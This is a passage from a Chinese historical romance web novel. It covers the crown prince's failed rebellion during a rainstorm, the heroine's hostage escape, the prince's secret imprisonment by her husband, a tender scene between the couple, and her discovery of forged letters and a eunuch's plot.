鹿微眠站在门口,看着众家眷被送进大殿后,护送的侍卫同样进去了一部分,留了一部分在大殿外守着。 守在外面的侍卫一手握官刀,另一只手搭在刀柄上, 鹿微眠隐约觉得,护送家眷,似乎不需要这般备战姿态。 这会儿也有人朝着他们这座水榭走过来。 彬彬有礼地请,“谷姑娘,大家都去那边躲雨了,小的送您也过去。” 鹿微眠拉了谷歆月一下,“其实,我们在这里躲雨也行。” “当然可以。”那侍卫示意,“只不过这边炭火一会儿就烧完了,要是送过来,还会淋湿。不如大殿内暖和。” 谷歆月想来也是,“那我们还是过去吧。” 鹿微眠闻言只能作罢,但她依然觉得哪里不太对。 但眼下整个曲江池内都是清一色的带刀侍卫,鹿微眠即便是察觉到不对劲,她也不能轻举妄动。 两侧侍卫打开油纸伞,侧身示意。 鹿微眠跟着谷歆月踏进雨幕,听着繁密雨点敲击油纸伞面的声音。 没由来的心下焦躁。 鹿微眠环顾四周,发现侍卫越来越多,但是每一个都很眼生。 谷歆月走着走着也察觉到了异样。 她转头与鹿微眠无声对视片刻,但两人都看到了各自身后跟着的带刀侍卫。 一左一右将她们挟持在中间。 两人也都不约而同地噤了声。 她们刚刚走到大殿门口,有家眷同样看出了不对劲,“要我们避雨,为何要带刀护送,这与看守犯人有何不同?” “老夫人稍安勿躁,还请进去等候。” 说话人是明国公府的老夫人,自然是不吃这一套的,她冷笑着,“进去等候?殿内几百口人都被你们关着,外面兵马围着,当我是老糊涂了吗?” “你们把话说清楚,是奉谁的命令将我们一同关在这里,是何目的?!” 为首的侍卫当即收起了笑脸,并不再装模作样,“来人,将老夫人带进去。” 说完,旁边两个侍卫上前,“老夫人不要自讨苦吃。” 明老夫人身边的婢女也立马护上,“大胆!” 几番争执间,老夫人被推搡着进了大殿,谷歆月与鹿微眠连忙上前搀扶。 旁边侍卫将长刀拔出。 尖利的声响刺痛着所有人的神经,众人皆意识到,这不是寻常躲雨。 为首的人拔着刀,扬声道,“将各位贵人看好了!一只苍蝇也不许放出去!” 大殿内一片不安地躁动。 明老夫人气得浑身发抖,“你们是谁养的孽畜,此番又是奉了谁的命令谋逆犯上!” “这就不劳老夫人操心了,识时务者为俊杰,老夫人还是静候新帝佳音吧。” 鹿微眠听着他的话,很容易猜到。 是慕青辞谋反。 屋内大半人都猜到了,另一半不敢相信慕青辞会谋反。 他明明都是太子了…… 眼下这群将他们围困在这里的人,身上衣着与大内禁军一样,但是持刀方式、值守站姿都与大内禁军相距甚远。 看起来像是有人养的兵马,不过是穿上了大内禁军的衣服,好犯上作乱。 鹿微眠知道。 慕青辞是有私兵的。 只是她也有些诧异,慕青辞为什么会这个时候动手。 屋外的雨越下越大。 雷鸣闪电混杂在一起,将树梢枯黄的枝叶摇落在地。 院子内,满是被吹落的纸灯。 原本夜晚盛大的灯会如今变得一片狼藉。 鹿微眠隐约能听到曲江池外传来零星的刀剑声,但被雨幕遮盖,听不分明。 焦灼紧张的氛围随着这零星的声响无限扩大,大殿里议论声之间混杂着呜呜的哭声,有一人在哭,周围人便也心情沉郁下来。 细碎的呜咽声越来越多。 鹿微眠与谷歆月一同坐在明老夫人身边,安抚着老夫人。 老夫人面色肃穆,她这辈子见多识广,对于这种事情也不是第一次遇见,因而比所有人都能先察觉到不对,“不必担心我,我也不是怕这事。” “就是原以为太子殿下不会做这般有悖人伦的事,一时气愤罢了。” 鹿微眠没做声。 身后突然传来些繁重的脚步声,带着兵甲金属碰撞的声响。 他们齐齐回头,看见有侍卫朝着他们的方向走过来,身上裹挟着雨夜寒气。 这些侍卫的目标很明确,径直走到了鹿微眠面前,“封夫人,这边请。” 谷歆月见状,按住了鹿微眠的手,“请去哪?” “请去哪是我们的事,谷姑娘少过问的好。” 谷歆月一下子站起。 对面侍卫的长刀也应声拔出,刀刃近乎要贴上谷歆月。 吓得周围所有人都噤声。 鹿微眠连忙起身,“姐姐。” 她拉住谷歆月,转头跟那侍卫说,“我跟你们走。” 谷歆月凝眉,“不行,有本事他们真动手。” 这些逆贼把她带走,饶是如何谷歆月都不可能放心。 “谋逆之事我们都敢做,以为杀个人就不敢了吗。” “你敢你就来!” “别,”鹿微眠拦下谷歆月,“姐姐,别冲动。” 即便是不行,鹿微眠见眼前这架势,她要么是自己跟着走,要么是被人拖走。 相比于后者,鹿微眠觉得她还是稍微配合一些的好。 她示意谷歆月,“放心吧,没事。” 屋子里这么多人单找了她一个,鹿微眠猜想,她多半是一个比较有用的人质罢了,“走吧。” 眼见鹿微眠配合,侍卫才将长刀收起,“还是封夫人识时务。” 他侧身,“这边请吧。” 鹿微眠按照他示意的方向往外走。 屋外秋雨萧瑟,寒风凌冽。 那侍卫觉得她一个弱女子,不必担心,便姿态随意,也没叫过多帮手。 想着自己可以独自将人带过去邀功。 鹿微眠拉了拉自己身上的披风。 走出去一段距离才发现,曲江池里外都被侍卫封锁,越到外面越能听见兵刃相接的敲击声。 鹿微眠转头看着被雨击打的曲江池水面,眉眼微动。 紧接着她脚底一滑,惊叫一声跌了下去。 侍卫回头就看见鹿微眠滑倒在曲江池边草坡上。 他不耐烦的上前,“怎么了?” “路太滑了,踩到青苔摔了一脚。”鹿微眠看起来有些费劲地撑起身子,“我发钗掉下去了,你能帮我捡一下吗?” 侍卫看鹿微眠所指的地方的确有一枚发钗。 他本来没想捡,但奈何那发钗是金的。 侍卫存了点私心,便是他捡起来不给她,她一个小姑娘也无可奈何。 他这么想着,下了鹿微眠摔倒的草坡。 这草坡上的确是滑了一些,动作不似平路上那般敏捷。 鹿微眠看着他走过来弯身想要去捡那根发钗,悄无声息地从地上爬起来。 她屏住呼吸挪到男人身后,然后用尽了毕生力气,伸手一把把人推进了曲江池! 侍卫还没反应过来就一个猛子落进水里! “噗通”一声的响动在雨夜中并不明显,以至于暂且没有人发现。 鹿微眠推完就跑。 就算是做人质,她也不太乐意。 鹿微眠拉着自己的披风挡眼前的雨水,沿着曲江池边逃离。 未曾想刚跑出去,面前就横过一柄长剑! 鹿微眠透过冰寒长剑,定睛看见不远处坐于马背上的慕青辞。 慕青辞一贯温和的脸上透着雨夜清冷气,“天黑路滑、刀箭无眼,阿眠别乱跑,孤送你去个安全的地方。” 鹿微眠咬唇后退两步,转身又被两把弹出的长剑拦住去路。 出了树林阴翳的曲江池,鹿微眠听见外面繁密的刀剑声。 不知持续了多久。 鹿微眠回头看他,“你想干什么?” 慕青辞沉吟着,“想干什么,你今晚就知道了。” 有人上来将她送到他面前。 慕青辞朝她伸手,鹿微眠并不配合。 他只叹了一口气,翻身下马,将她抱上去。 “你……”鹿微眠不明白他这是什么意思,“你放我下去。” 慕青辞自然不会答应,“阿眠,陪我一会儿。” 鹿微眠凝眉,听慕青辞催马离开长街。 鹿微眠耳边刀枪箭羽的声音时大时小,偶尔路过街巷,能看到慕青辞的侍卫和禁军缠斗在一起。 “慕青辞,你这是谋逆。” 慕青辞并不否认,但也没有承认。 “你赢不了的。” 今时不同往日,慕青辞动手太快了,是在他处境最被动的时候动手。 他一定会输。 慕青辞噤声,就这么沉默了很久,忽然笑了,“我已经输了。” 有人调用他的私兵,下了假命令。 命令下出去容易,收回来难,所有兵马都分散开一部分去城墙、一部分来曲江池,各司其职,事已成定局。 大概布局之人,根本没想让他有转圜的余地。 慕青辞先去了城墙,就看见那些私兵将帝王轿撵围堵在内外城墙间的官道里。 而轿撵里的不是他的父亲,是个木偶。 有人利用他的野心,编织了一个捕捉他的大网,坐实他的罪名。 慕青辞才发觉,眼下太多人站在了他的对立面。 封轸、卫沉,甚至包括他曾经的亲信贾琏也倒戈。 他曾经拉拢的党羽,早在围猎他处于劣势之后,就不再敢出面。 他忽然也不想知道,这局是谁布的,是谁想要他死。 大概是太多人了。 在这一场必输的棋局里,他只想回来看看她。 也不知道从什么时候开始,慕青辞就觉得,他大概是赢不了了。 运气从来没有站在过他这边。 鹿微眠被他带到一处偏远的宅院里。 但几乎是她进来,就听到了外面传来的打斗厮杀声。 有人追进来了。 慕青辞像是听不见一般,给她倒水,“累了吗?” 鹿微眠看着他的动作,没有接话。 “怎么不说话。”慕青辞将茶水摆在她面前,“从前我带你骑马,你总说震得腰酸,很累。” “殿下还是忘了从前的好。” “忘不了。” 鹿微眠无奈道,“你总在我面前假装情深义重,是觉得这样能让自己良心过得去吗?” 慕青辞一瞬不瞬地看着她,“为何觉得我是装的?” 鹿微眠见事到如今,弯弯绕绕地打哑谜也没有意思,“你与叶心娴如何了?” “我不认识她。”慕青辞言辞平和认真,“我也不懂,你为何总要提起这个人。” 鹿微眠开诚布公道,“你明明许了她后位,还总是要哄我对我是一片真心,不就是为了利用我,好帮你除掉封轸,再帮你得到我父亲修缮江南水坝的内部消息吗?” 慕青辞对于她的话大半都没听懂,“阿眠对我误会,的确很大。” “谁与你说的这些话?”慕青辞猜测,“封轸吗?” 鹿微眠听着屋外的风雨声与打斗声,内心却无比平和,“不是他。” “无妨,”慕青辞点头,“你倒是有一点说对了,我是想除掉封轸。” 慕青辞迎上她的视线,“你心性纯良,不知他阴险歹毒、暴戾恣睢,绝非善类。” “我与他一同长大,最知道他是什么货色。你可以不觉得我是好人,但也千万别觉得他有多干净。” 鹿微眠听着这些话,不自觉地想起少年那张纯润无害的脸。 阴险歹毒能在当初不明她心意时,还与她好言相向。 暴戾恣睢能不计前嫌哄她睡觉,她说什么听什么,还帮她修步摇又连夜去偷图纸。 鹿微眠不懂,慕青辞筹谋算计她,有什么资格这么说封行渊,“你用他活命,如今却处处想要害死他,这又是什么道理。” “我夫君虽是生性冷僻,但为人率性、温文尔雅,才不像有些人虚伪无礼,胡作非为。” 一墙之隔,飘摇雨下。 封行渊阴沉着脸,带兵甲冲进来刚钳制住拦路的一名暗卫,就听到了屋内传来这么一句话。 被夸的封行渊倏然愣住,雨水顺着面具滴落,他脸上阴寒面色缓缓消失,眉目有片刻的清亮。 随后站直身子,温文尔雅的捅了手底囚徒一刀! 屋内,慕青辞就这么看了她很久,很轻的一声,“好。” 他沉吟片刻,“但事到如今,我不希望你误会我,我还是需要告诉你。” “我既然已经把九天玉印给你了,除此之外,我就不会再许任何人后位。” “另外,我要你父亲修缮水坝的内部消息做什么?” 鹿微眠一时怔愣,“什么九天玉印?” 两人对视间,空气中扩散着无声无息的不安。 慕青辞脸色也变了,“你没有收到九天玉印?” 鹿微眠左思右想,也没记得自己有收到过这个东西,“没有啊。” 片刻的沉寂后。 鹿微眠抓住他言语中的关键字句,“你是不是在骗我,你没有探过我父亲修缮水坝的内部消息?” “眼下我还骗你做什么,我从未探过。” 鹿微眠越细想越觉得可怕,“你没有想要毁掉江南水坝?周喆,不是你的人?” “是你父亲负责修缮的东西,我毁了它,不相当于毁了你吗?”慕青辞眉头越皱越紧,“我为什么要这么做。” 彻骨的阴寒从后脊蹿升。 鹿微眠瞬间起了一身鸡皮疙瘩,难以置信,“不是你做的?” 这怎么可能? 屋外疾风骤雨,忽而滑过一道闪电,将漆黑的夜空照彻得惨白无比。 几乎是同时,紧闭的屋门被破开! 闷雷轰鸣声在大地深处震荡。 摇颤着鹿微眠的心脏。 屋外,凌一冲进来抓住慕青辞。 慕青辞并未反抗,旁边跟随进来的随从拔刀抵在慕青辞脖颈,“太子殿下谋逆犯上,其罪当诛。” “奉陛下旨意,可先斩后奏。”侍卫长刀抽出,在清寒夜雨中渗出冷光。 鹿微眠尚未从方才得知的事情中缓过神来,只觉得耳边一阵嗡鸣。 她慌忙跑到了随侍刀前,握住刀柄阻拦,“等下!” 封行渊心情愉悦地进门,看见鹿微眠阻止他手下斩杀慕青辞。 少年脸上的笑容敛了起来。 封行渊把玩着手中诏令,朝那随侍递了个眼神。 随侍只能依从鹿微眠松手。 “我还有话要问他。”鹿微眠将刀柄按回刀鞘,转头询问封行渊,“我们可以把他带回去问吗?” 封行渊优哉游哉地问,“回哪?” 鹿微眠知道,即便是要抓捕慕青辞,也只能把他抓进天牢由朝廷审问。 但去天牢里就肯定不能审问她想知道的事情。 鹿微眠也不知道这样合不合适,小声道,“就是,只有我们两个知道的地方。” “我想问他一些事情,一日就好。” “不能现在问?” 鹿微眠想着他们方才的对话内容,为难道,“不太能。” 还得说悄悄话。 封行渊又不高兴了,没有第一时间回答。 鹿微眠小声催促着,“你有办法吗?” 封行渊看她半晌,忽而轻快地笑了,“有啊。” 他低头靠近她,面具上的水珠落在少女鼻尖,冰得她轻轻一抖。 封行渊抬手抹掉她鼻尖上的水珠,手指几乎是不受控制地下移挪到了她嫣红唇瓣上,用只有他们两人能听到声音谈条件,“但夫人今晚得答应,回房准我轻薄你。” 第33章 潮湿 少年嗓音纯粹, 似乎并没有意识到自己说得有多么暧昧不清、令人瞎想。 但鹿微眠被他直白的言辞弄得耳根发麻。 鼻息间是阴雨的潮湿水汽,黏黏腻腻地沾在身上。 她下意识转头看房内众人。 他们多半是没听到,但也能猜到这对小夫妻凑这么近, 说的是一些他们不能听的话。 鹿微眠轻声回,“我答应你。” 封行渊继续着手上的动作,仔细地擦干净鹿微眠脸颊上沾染的水珠。 抬头看向那边慕青辞。 只见慕青辞眸光阴郁, 默不作声地看着他们之间的互动。 眼底带有和他一样的不悦。 但这会儿封行渊高兴了。 两个时辰后, 长安城内再度恢复如常。 暴雨将这场混乱掩盖得悄无声息, 像是什么都没发生一般。 大抵也是那位帝王早有准备。 皇宫大殿内,皇后脱钗请罪、一身素衣跪在大殿中, “陛下, 青辞是您看着长大的,他是如何心性您最是了解, 怎会做如此大逆不道之事。” 皇帝围猎的伤口经此一番,再度崩开,金线龙袍上渗出些许血印。 一旁淑妃小心翼翼地帮他处理着。 皇帝淡淡吩咐着, “将皇后带下去。” 一旁禁军侍卫走上前将皇后拉起。 皇后心有不甘地挣脱开,跪行上前,“陛下!青辞定是被奸人所害,才出此下策!” “从围猎起, 就是他们企图诬陷青辞的阴谋!” “陛下您就这一位可堪重任的皇子,切不可听信奸人挑拨啊!” 皇帝并不打算与她多费口舌, 抬手示意一旁禁军尽快把人带走。 皇后忽而甩开身上束缚,指向一旁淑妃, “是她!” “一定是这个妖女!陛下, 是她想害我们母子!是她!”她一下子上前扯住淑妃手腕,尖利的指甲划出一道血痕。 一旁禁军侍卫大惊, 慌忙去拦。 皇帝先一步抓住了皇后手臂,起身将人甩了下去,“放肆!” 皇后跌坐在地上,被禁军拦住,仍然死死盯着淑妃,“她定是用了什么妖术,狐媚祸主,又把你骗得团团转!” “臣妾早就说了,她留不得啊!她是个妖女!她会毁了你的江山啊!” 禁军不敢再让皇后留在殿内,立马将她带下大殿。 淑妃白皙手腕上血痕刺目。 皇帝眉头紧锁,拉过来细看,她还说着,“臣妾没事。” “这样还没事。”皇帝沉声叫御医。 淑妃温声提醒,“您自己的伤还没叫御医看呢。” “旧伤无碍。” 封行渊踏入大殿之中,才唤回了帝王的注意力。 皇帝面色沉肃,“如何了?” 封行渊简单回禀,“微臣无能,太子殿下与人勾结,里应外合备了逃生之路,如今正在连夜追捕。” 皇帝倒是没有生气,也没有追问。 大抵是相信了封行渊的说辞,觉得今晚慕青辞有心思设下圈套,那肯定也准备了退路。 “尽快追查。”一码归一码,皇帝还是道,“今日也多亏了你提前察觉。” “并非是臣提前察觉,”封行渊提起,“是太子殿下曾经的亲信贾琏告知太子调动了私兵。” 皇帝对贾琏这个人有些印象,“他倒是懂得及时弃暗投明。” “赏。” 皇帝盘算着,“既然你懂得规劝他,那就由你来看管提拔。” “若有异动,也随时可杀。” “是。”封行渊其实还蛮喜欢跟这位帝王聊天,因为他们的想法总是不谋而合。 只不过,如今贾琏和卫沉一样,对他唯命是从。 与此同时,贾琏打开了密室私牢大门。 他将慕青辞推进去,挂上锁链。 慕青辞看着贾琏,“原来你是找到了更好的去处。” “不然呢,老子跟着你死路一条,跟着主子,才能得到我想要的一切。” “主子?”慕青辞听这个称呼新鲜,“你确定他能给你想要的一切?” “主子不会骗我。” 慕青辞微微眯起眼睛。 听着贾琏无条件的维护封轸,像是被控制了思绪的傀儡娃娃。 但看起来平日里正常生活不受影响,还能一边锁一边骂他,理智清醒得很。 只要触及到了封轸和封轸有关的事物,就会立马被调动成护主的样子,不受控制。 所以封轸是对他做了什么。 那鹿微眠呢? 她出嫁后就那般维护封轸,该不会也同样被…… 慕青辞正要细问,外面传来脚步声。 这个脚步声,他只听一下就知道是谁。 慕青辞眸光沉下来。 果然封行渊出现在昏暗地牢内。 少年长相清俊,偏偏笑起来与这阴湿牢狱的气质如出一辙。 看得人毛骨悚然。 封行渊坐在他对面,给他倒了一杯水“今日本想让殿下多活一日的,殿下怎么想不开自己找死了。” 慕青辞并不理会他得了便宜还卖乖的说辞,坐在桌子另一侧,虽然手脚都挂着锁链,但并不影响在几尺之内活动,开门见山地问道,“你对贾琏做了什么?” 封行渊眉梢微扬,“为何这么问?” “凭我对他的了解,他不会这么快认主,对谁唯命是从。” 封行渊浑然不在意,“我哪有这般大的本事,能控制人。” 寻常人当然是不可以。 但慕青辞很久之前听母后提起过,淑妃似乎会一种,能操控人神智的术法。 当初他并不相信,如今看来,也不是不可能。 慕青辞不想纠结他是如何做到的,进一步追问道,“那鹿微眠呢?” 封行渊给了他一个很挑衅的答案,“阿眠大概很喜欢我。” “所以不需要被我强迫着留在我身边,被我强迫做什么。” 慕青辞轻扯唇角,同样挑衅,“封轸,我还是那句话。” “阿眠性情纯良,不喜恶行。你我既是一类人,她会抛弃我,离开我。那你呢?” * 屋外大雨瓢泼,雷鸣声愈演愈烈。 鹿微眠回房就赶紧换下来被雨淋湿的衣物,先去沐浴。 温热水汽熏蒸着她,才让身上残余的寒气散开不少。 鹿微眠有些贪恋这水中温热,许久都不愿意出来。 直到封行渊回来,鹿微眠听见动静,知他多半也要洗,才从浴桶中爬出来。 鹿微眠刚披上衣服,还没系好绳带,沐浴间的门忽然被打开! 鹿微眠手足无措地扯着还没系好的衣襟,“你,你怎么……” 封行渊摘下面具顺手放在门口橱柜上,灭了灯,大步流星地走了过去,“夫人说好,今晚给我轻薄的。” 鹿微眠眼前瞬间陷入黑暗,只有模糊的影子。 而这比她高大许多的影子正以压倒性的气势朝她走来。 鹿微眠愣是被他汹汹来势吓得后退两步,可又因为怕黑不敢躲太远。 封行渊几步就走到了她面前,带着她的腰抵在桌边。 眉眼压低,纤长浓密的睫羽在打出一片阴影,遮住少年暗色异瞳,“这次可以进去吗?” “啊?”鹿微眠脑袋里浮现出了些不干净的画面。 封行渊看她没有要拒绝的意思,便继续自己的行为。 雨夜潮湿,湿漉漉的吻就这么缠上了她。 他像是在品尝糕点,总觉得那软糯表皮下面潜藏着什么甜美馅料。 磨弄啃咬,含吮挑弄。 无师自通地折磨着那脆弱的双唇。 直到捻开缝隙,准他探入摩挲。 更进一步时,大概入侵过甚,鹿微眠被抵得腰身弯折成微妙的弧度,撑不住地下滑。 封行渊扣着她的腰窝,轻轻一提,她整个人就坐在了桌子上。 即便在桌子上,也是刚巧与他平视的高度。 足够他单手撑在一侧,继续。 少年手臂浮出几根青筋,攀爬缠绕着,又随着他的动作而时轻时浅。 鹿微眠曾经就觉得,他是一个兽性强烈的人。 那张看起来纯净地脸一落到暗夜里,这个时候,就变得欲气深重。 尤其是眼底那颗血痣。 软唇被侵入不过是迟早的事。 他习惯性的舔舐安抚过后,无师自通地寻求深入。 鹿微眠城门失守,被迫打开。 浑身筋骨都有些发酥。 他像是个猎奇的孩童,探索着她的领地。 每一个角落似乎都要小心翼翼巡视一遍,然后大肆沾染上属于他的气息。 鹿微眠被他身上的甲胄剐蹭着,本就没有穿好的衣服被蹭得乱七八糟。 本就刚刚沐浴没有擦干,又沾染了他身上的雨水,寝衣近乎湿透一般紧贴在她身上。 好在这会儿没点灯,不容易看见。 但是他能看见。 比梦里更加清晰。 领口大开,白色里衣一部分贴在身上,一部分透着里面的曲线。 少年第一反应是,很漂亮。 比她的头发还漂亮。 鹿微眠推脱着身上都弄脏了,还得再沐浴一遍,将他推开跳下去。 封行渊站在原地,冷不丁开口,“我帮你洗。” 鹿微眠在他跟上来触碰到自己的时候打了个寒颤,“不不不,不行。” “为什么?”封行渊没有别的意思,理所当然地问,“你被我弄脏了,理应我洗。” 鹿微眠大概知道他是什么意思,可这般话语听下来,硬是让她的呼吸都停滞瞬息,“我,你,也,也没有很脏,我简单擦洗一下就好。” 她心知他说话只是字面上的表达,但鹿微眠每每听他直白地说出令人浮想联翩的话,心脏就受不了了,“你先出去。” 封行渊看她很不自在地样子,也没有坚持。 鹿微眠再度将自己收拾干净,才离开沐浴间。 出来时,封行渊已从偏房将自己收拾干净,在暖炉边晾头发。 鹿微眠头发也没干,只好也凑过去,拿着梳子顺头发。 两人相对而坐,一时无言。 封行渊盯着她的头发看了很久。 喜欢,想摸。 他将椅子拖到她身边,鹿微眠不由得坐直了身子。 封行渊提起,“我帮你梳头。” 鹿微眠抿唇,也没有拒绝,将梳子递给他。 封行渊顺理成章地拢过她的长发,几缕碎发从指缝滑过,蹭得他指尖发痒。 鹿微眠撑着下巴靠在软椅上,由着他梳头。 她思考了很久封行渊今日的言辞,恍然看向他,“你是不是误会了?” 封行渊还在看她的头发,“误会什么?” 他条件反射以为她说的是跟慕青辞相关的事。 鹿微眠却盯着他红润的唇看了很久,毫无预兆地凑上前,亲了一下,“这样是亲吻。” “不叫轻薄。” 封行渊帮她顺头发的动作,在她亲上来的时候骤然停下。 心口微妙地开始膨胀。 鹿微眠怎么想怎么觉得应当是那天他突然咬她嘴巴,她给了这么个说辞让他学会了。 也或许是他从前在外面听,对于未婚男女这样接触的确也是轻薄,但他们已经成婚。 “亲吻是夫妻之间很常做的事情。”鹿微眠纠正了下措辞,“轻薄是无礼的,所以我们之间的关系,还是少用轻薄形容的好。” 封行渊与她无声对视片刻,他当然知道轻薄是无礼的,“我还以为你很喜欢我们做无礼的事情。” “那你理直气壮的说,轻薄我合情合理是因为?” 鹿微眠唇角抽动了下,这件事的确是怪她。 她一时间找不到理由,来了一句,“因为,情……趣,吧。” 情-趣…… 有趣。 在做有礼的事情时,用无礼的言辞形容。 夫妻之间有趣的事情真多。 “夫人知道得多,那夫妻之间还有什么情-趣说辞和事情?” 鹿微眠眼睫颤了一下,忽然觉得自己说多了。 她偷偷将自己晾干的头发从封行渊手里收回,寻了个借口回避这个话题,“我好困,要去睡觉了。” 封行渊发现,她每次想糊弄自己就拿睡觉当借口。 可偏偏她真的很能睡觉。 鹿微眠是快午时醒的。 她本来计划着卯时就起来去盘问慕青辞。 卯时睁开眼睛在床上坐了一会儿,又倒下了。 封行渊是眼睁睁地看着她倒下的,索性也没叫她。 一个月要流血七日的夫人,是得多睡一会儿。 鹿微眠用着午膳,命暮云暮雨去找之前慕青辞所说的什么九天玉印。 暮云负责屋内,暮雨负责屋外院子里打听。 屋内找了半天没找到。 暮云叹了口气,神情严肃,“夫人,您今日去盘问太……那个人,若他还是撒谎骗您呢?” 这也是鹿微眠担心纠结的事情,她该怎么分辨慕青辞的真话和谎言。 “但是,他死到临头,骗我能有什么好处。” 昨日那个境况,慕青辞想说的多半是遗言啊。 他弑父的罪名都承认,没道理不承认她的那些事。 更没必要到死都说他不认识叶心娴。 鹿微眠正想着。 屋外暮雨火急火燎地跑了回来,“夫人!夫人你快看!” “怎么了,这么着急。”鹿微眠接过暮雨递过来的书信。 暮雨慌乱地解释,“你,你看了就知道了。” 鹿微眠打开,看到第一句话瞬间汗毛直立。 “阿眠,见字如面,我昨晚侥幸从混战中逃出现在* 一切安好。” 这是慕青辞的字迹! 鹿微眠仿佛被寒气侵体,浑身上下满是凉意。 昨晚慕青辞分明没有从混战中逃离,他被他们秘密关押进封行渊私牢里。 所以……这是谁给她的信! 鹿微眠后脊都沁出一层薄汗,忙叫凌一,“慕青辞跑了吗?” 凌一被问得一头雾水,“没有啊。” 私牢有异常,会放红烟,这外面静悄悄的,不可能跑了。 “那他被咱们关着这事都有谁知道?” “只有咱们自己的人知道,”凌一如实回答,“对外都说的是,慕青辞在昨晚混战中跑了。” 鹿微眠心下一股恶寒。 这是慕青辞的字迹,所以是有人在假装慕青辞跟她联络。 前世她收到的那么多书信,一部分是真的,但另一部分是假的?! 是有人利用她在套话! 鹿微眠看着,书信上半数都是在哄她不要生气,说他如今落难如何可怜。 和记忆中的语气如出一辙。 最后才是这封书信的关键,试探询问封轸是不是找到了“他”逃跑的踪迹。 鹿微眠合拢书信,快步出门,“去私牢。” 凌一忙答应着护送她去封行渊的私牢。 鹿微眠走到门口,匆忙下数十层石阶,跟着凌一下去。 牢房内,慕青辞坐在桌边,似乎等了她很久。 鹿微眠走过去坐在慕青辞面前。 慕青辞坐在牢房内桌子另一侧给她倒水,“来得正好,水是温的。” 鹿微眠顾不得叙旧,开门见山道,“找过家里了,没有什么九天玉印,下人也都没有收到过。” 慕青辞垂眸,“有与没有都无所谓了,每位储君只有一枚太子妃玉印,日后废了太子,会另制新的。” “这不重要。”鹿微眠想说的意思是,“如果你没有骗我,那你我之间,还另有他人作梗。” 她将书信推到慕青辞面前,“有人假借你我传信。” 慕青辞剑眉轻蹙,伸手接过鹿微眠手中书信。 看清楚内容时,脸色惊异错愕,“这不是我,我一直在此地,他们皆可佐证。” “我知道不是你。”鹿微眠气息混乱。 或许慕青辞说得都是真的,很多事情,并不是他。 甚至前世很多事情,也只是她被人硬塞的假象。 就比如,前世所谓的新帝登基后,处死她父母,立叶心娴为后,这些事情发生时鹿微眠根本没见过慕青辞,没听到过他的声音。 她被关在深宫里,所有的一切消息,都是慕青辞身边的掌事太监姜崇代为转达。 姜崇…… 鹿微眠脑海中蓦的闪过青荷留下的画像,那张阴柔漂亮的脸。 对了,姜崇! * 这场雨连续下了两日,长安城内阴雨连绵,不见天日。 整座京都也沉寂了两日。 直到天气放晴,街上的人才多了起来。 雨后碧空如洗,一片湛蓝。 鹿微眠坐在书房内,翻看着这两日,她跟慕青辞核对过的消息。 让慕青辞把他自己真正做过的筹谋算计写下来,她一点一点核对,哪些是她知道的,哪些是她知道但是他没做的。 的确出入很大。 曾经他们都直接把姜崇算作慕青辞的代指,以为姜崇做什么都是慕青辞示意。 怎么就忽略了姜崇。 大抵是谁也想不到,一个小太监,能有这般大胆的心思。 鹿微眠将慕青辞写下的东西放在旁边,看向了青荷那张画像。 难怪只有姜崇的画像。 所以她父亲工部那边的事情,以及江南水坝的事情,是姜崇私自的安排。 他摧毁水坝工程,致使沉城。 然后又以慕青辞的名义登基称帝、给叶心娴后位吗? 鹿微眠越想越难以置信,但前世她被抄家掳进宫得知这些的时候已经失明。 什么都不知道。 但细想这也不太现实,他如何能瞒得过文武百官。 其中肯定还有些缘由,目前的证据看来,她想不清楚。 鹿微眠叹了口气,屋外传来熟悉的声音,“又唉声叹气的。” 褚楚进门,“不是与你说了吗,要保持愉悦才能养好身体。” “你来啦。”鹿微眠将手中东西放好,“太医院不忙啦?” “今日才刚赋闲。”褚楚弯唇,“我还好,受伤女眷不多,我只负责看护淑妃娘娘,褚裕是忙得团团转。” 鹿微眠小声问着,“淑妃娘娘受伤了?” 褚楚顺带着将那晚大殿上皇后划伤淑妃的事情告诉了鹿微眠。 “不过是小伤罢了,不用担心。” “不过说来,淑妃娘娘是个好脾气的主,照顾淑妃娘娘最是轻松了。其实我这几日在宫里也没做什么。”褚楚递过来一个盒子,“要说忙,也是帮三殿下绑了几个风筝。” “三殿下啊……”鹿微眠又想到了前两日宫宴。 褚楚将盒子递给她,“绑多了,所以给你也带了一个。” 鹿微眠打开看见里面是一个紫色的蝴蝶风筝,被水墨晕染得很是精巧,“哇,真好看。” “三殿下就爱玩这些小孩子的玩意,不过确实做得挺好看的。”褚楚免不了叮嘱她,“你要是清闲了,也可以出去放放风筝,对你的腰脊和身体都有好处。” 鹿微眠答应着,“知道啦。” 鹿微眠欣赏着手里的风筝,上面还有珠玉点缀。 她不由得好奇,“你给三殿下看过吗,他的病症可有好转?” “我没有给他看过。”褚楚坦白道,“不过倒是挺好的一个孩子。” “我询问他可不可以把多余的风筝送给朋友,他还挺热心的,好生装扮了一番这个风筝,你瞧蝴蝶翅膀上面的珠玉,就是他放的。” 鹿微眠就喜欢这般亮晶晶的东西,翻看着这个蝴蝶风筝。 很好。 不是想弄死她,还送这么漂亮的礼物。 应该没有发现她那日知道了他的秘密。 鹿微眠松了一口气,“替我谢谢三殿下。” “好。”褚楚问她,“那我们要不要去试试这个风筝。” “好啊。”鹿微眠起身,收好东西跟着褚楚出门。 说来,她也好久没有放过风筝了。 紫色的蝴蝶风筝和湛蓝的天空很是相衬。 鹿微眠看着高远的万里晴空,眼前光景与前世重叠,相比于曾经囿于一方天地,最起码她现在已经往前走了很多。 鹿微眠觉得那让她头疼的一切,似乎也总有出口。 再难也没有过不去的事情了。 褚楚在院子里陪鹿微眠玩了一会儿才离开。 鹿微眠的风筝越放越远。 封行渊下值,远远就看见了那个乘风而起的紫色蝴蝶。 这让他想起来,他第一次见她,她就是在放风筝。 那个风筝落在了他的领地里。 封行渊回府踏进院子里,发现果然是她在放风筝。 鹿微眠坐在秋千椅上,风筝滚轮绑在秋千架上,随着她荡秋千的动作而缓慢拉扯。 倒是挺会玩。 “你回来啦,”鹿微眠邀请他,“要不要一起放风筝?” 封行渊没有拒绝。 鹿微眠拆下来绑在架子上的风筝滚轮,走到他面前,“你放过风筝吗?” 封行渊接过来,“没有。” “那我教你。”鹿微眠开开心心地把滚轮递给他,告诉他怎么放线怎么收线。 意料之外的,封行渊放得很好,“那你放风筝还挺有天赋的啊。” 封行渊觉得没什么难的。 风筝虽然没放过,但他放过人。 在人身上绑锁链,一拉一扯。 将人控制在掌心,跟这个没太大区别。 他很喜欢。 虽然这么想,但嘴上说的是,“夫人教得好。” 封行渊心情愉悦的看着天上的紫色蝴蝶。 那蝴蝶风筝身上绑着固定的绳索,由着他拉扯而轻轻震动翅膀。 很巧。 